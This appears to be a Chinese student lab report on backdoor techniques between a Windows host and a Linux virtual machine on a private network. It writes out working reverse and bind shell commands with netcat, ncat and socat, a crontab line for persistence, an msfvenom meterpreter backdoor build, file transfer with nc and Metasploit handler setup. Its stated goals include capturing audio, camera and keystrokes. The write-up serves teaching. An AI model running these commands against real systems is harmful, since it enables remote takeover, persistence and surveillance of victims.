一、实践基本内容
1.实践目标
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实践前期准备
在实践前期先熟悉一下ncat的使用,使用前确定Linux和Windows都安装好了ncat。
Windows中命令行中输入指令 ipconfig 查看本机IP地址
Linux终端中输入指令ifconfig查看本机IP
读图可知Windows的IP地址为192.168.40.129 linux的IP地址为192.168.40.128
2.1使用ncat,本机(Windows)获得虚拟机(Linux)操作shell
步骤一:win中使用ncat监听4320端口
输入指令:ncat.exe -l -p 4320
步骤2:在Linux输入指令 nc 192.168.40.129 4320 -e /bin/sh
从实验截图中不难看出windows成功获得虚拟机linux的shell权限,能够进行操作,此时本机(windows)为攻击者,虚拟机(Linux)为靶机也就是被攻击者
2.2使用ncat,虚拟机(Linux)获得本机(Windows)操作shell(大体步骤与上述类似)
步骤1:在Linux中监听4320端口:nc -l -p 4320
在windows Doss界面下输入指令后出现停止工作界面,查询原因后更改指令到桌面就成功解决该问题
步骤2:在Windows输入指令 ncat.exe -e cmd.exe 192.168.40.128 4320 反弹连接Linux的4320端口(指令中的ip地址需为Linux ip)
获取windows权限
二、实践具体步骤
目标一:使用netcat获取主机操作Shell,cron启动
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务 工具,并且会自动启动cron进程,cron进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
crontab文件的含义:
用户所建立的crontab文件中,每一行都代表一项任务,每行的每个字段代表一项设置,它的格式共分为六个字段,前五段是时间设定段,第六段是要执行的命令段,格式如下:minute hour day month week command
具体步骤:
1.crontab -e 指令编辑定时任务,选择3,启用VIM编辑器
2.im编辑器中用 i改为插入模式,在最后一行插入21 * 24 3 * /bin/netcat 192.168.40.129 4320 -e /bin/sh后输入:wq!保存并退出,上述指令表示在3月24日每小时的第二十四分钟时反向连接windows本机的4320端口,就会启动cron
可能是我设置的时间太过任意,我想在任意一天的整点都反向连接windows上的端口,但最后连接失败
3.在第24分钟之前输入 ls 指令,屏幕上并无显示,当时间到了14点24时,此时已经获得了shell,指令所得内容则显示了出
目标二:使用socat获取主机操作Shell, 任务计划启动
Socat
是ncat
的增强版,socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。作为一款双向数据流通道工具,它拥有许多强大的功能:端口的连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
实践前在Windows安装好socat。
具体步骤:
1.win中打开控制面板,选中管理工具->系统->任务计划程序
2.创建新任务,填写任务名称,新建一个触发器。
3.同时创建新操作,在操作->程序或脚本中选择 socat.exe 文件的路径,在添加参数一栏填写 tcp-listen:4320 exec:cmd.exe,pty,stderr ,这个命令的作用是把cmd.exe
绑定到端口4320
,同时把cmd.exe
的stderr
重定向到stdout
上
但运行时出现了错误,更改指令顺序 选择创建基本任务,在基本任务栏里选择设置操作和程序及脚本
最后在Linux上输入指令socat - tcp: 192.168.40.129:4320可以看到获取windows权限,尝试执行windows指令,执行成功
目标三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
具体步骤:
1.Linux中输入指令生成后门程序(因为靶机系统为win10的64位故在指令中参数加上x64)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4320 -f exe > 20164320_backdoor.exe
2.使用ncat传输已经生成的20164320.exe程序文件。(通过4320端口)
)在win中输入: ncat.exe -lv 4320> 20164320_backdoor.exe 监听并接受后门程序;
ii)在Linux中输入: nc 192.168.40.129 4320 < 20164320_backdoor.exe 向win传输后门程序。
操作完成后可在ncat文件的根目录下查看后门
3.在Linux中输入指令msfconsole,进入msf命令行,msf启动监听前需要进行一些设置
use exploit/multi/handler /*进入handler模式*/
set payload windows/x64/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.40.128 /*设置LHOST,其中ip为Linux的ip*/ set LPORT 4320 /*设置LPORT*/ exploit /*启动监听*/